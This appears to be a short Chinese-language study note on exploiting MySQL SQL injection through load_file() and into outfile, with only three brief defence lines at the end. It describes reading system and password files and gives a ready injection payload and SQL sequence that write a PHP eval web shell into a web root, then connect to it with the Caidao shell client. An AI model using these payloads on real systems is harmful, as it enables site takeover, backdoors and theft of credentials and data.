load_file()

  条件:要有file_priv权限

     知道文件的绝对路径

     能使用union

     对web目录有读权限

  如果过滤啦单引号,则可以将函数中的字符进行hex编码

 

步骤:

  1.读/etc/init.d下的东西,这里有配置文件路径。

   2.得到web的安装路径

 

3.读取密码文件

 

 

 

into outfile

条件:

  1。要有file_priv权限

  2.知道网站的绝对路径

  3.对web有写的权限

  4.没有过滤单引号

 

步骤:

直到网站的绝对路径的时候:

  ?id=1 union select "<?php @eval($_POST['c']); ?>" into
 outfile("网站根目录")

相当于:

use test;  选择数据库为test
create table aaa(bbb varchar(64));   在数据库中创建一个表aaa
insert into aaa values("<?php @eval($_POST['c']);?>");   在aaa中插入一条数据<?php @eval($_POST['c']);?>
select * from aaa into outfile 'C:/phpStudy/WWW/a.php';  将aaa中的数据导出到文件a.php
drop aaa;  //删除建立的表


用菜刀练接;



防御:
  数据库连接帐号不能用root权限
  php关闭报错模式
  mysql帐号没有对权限对网络根目录有写的权限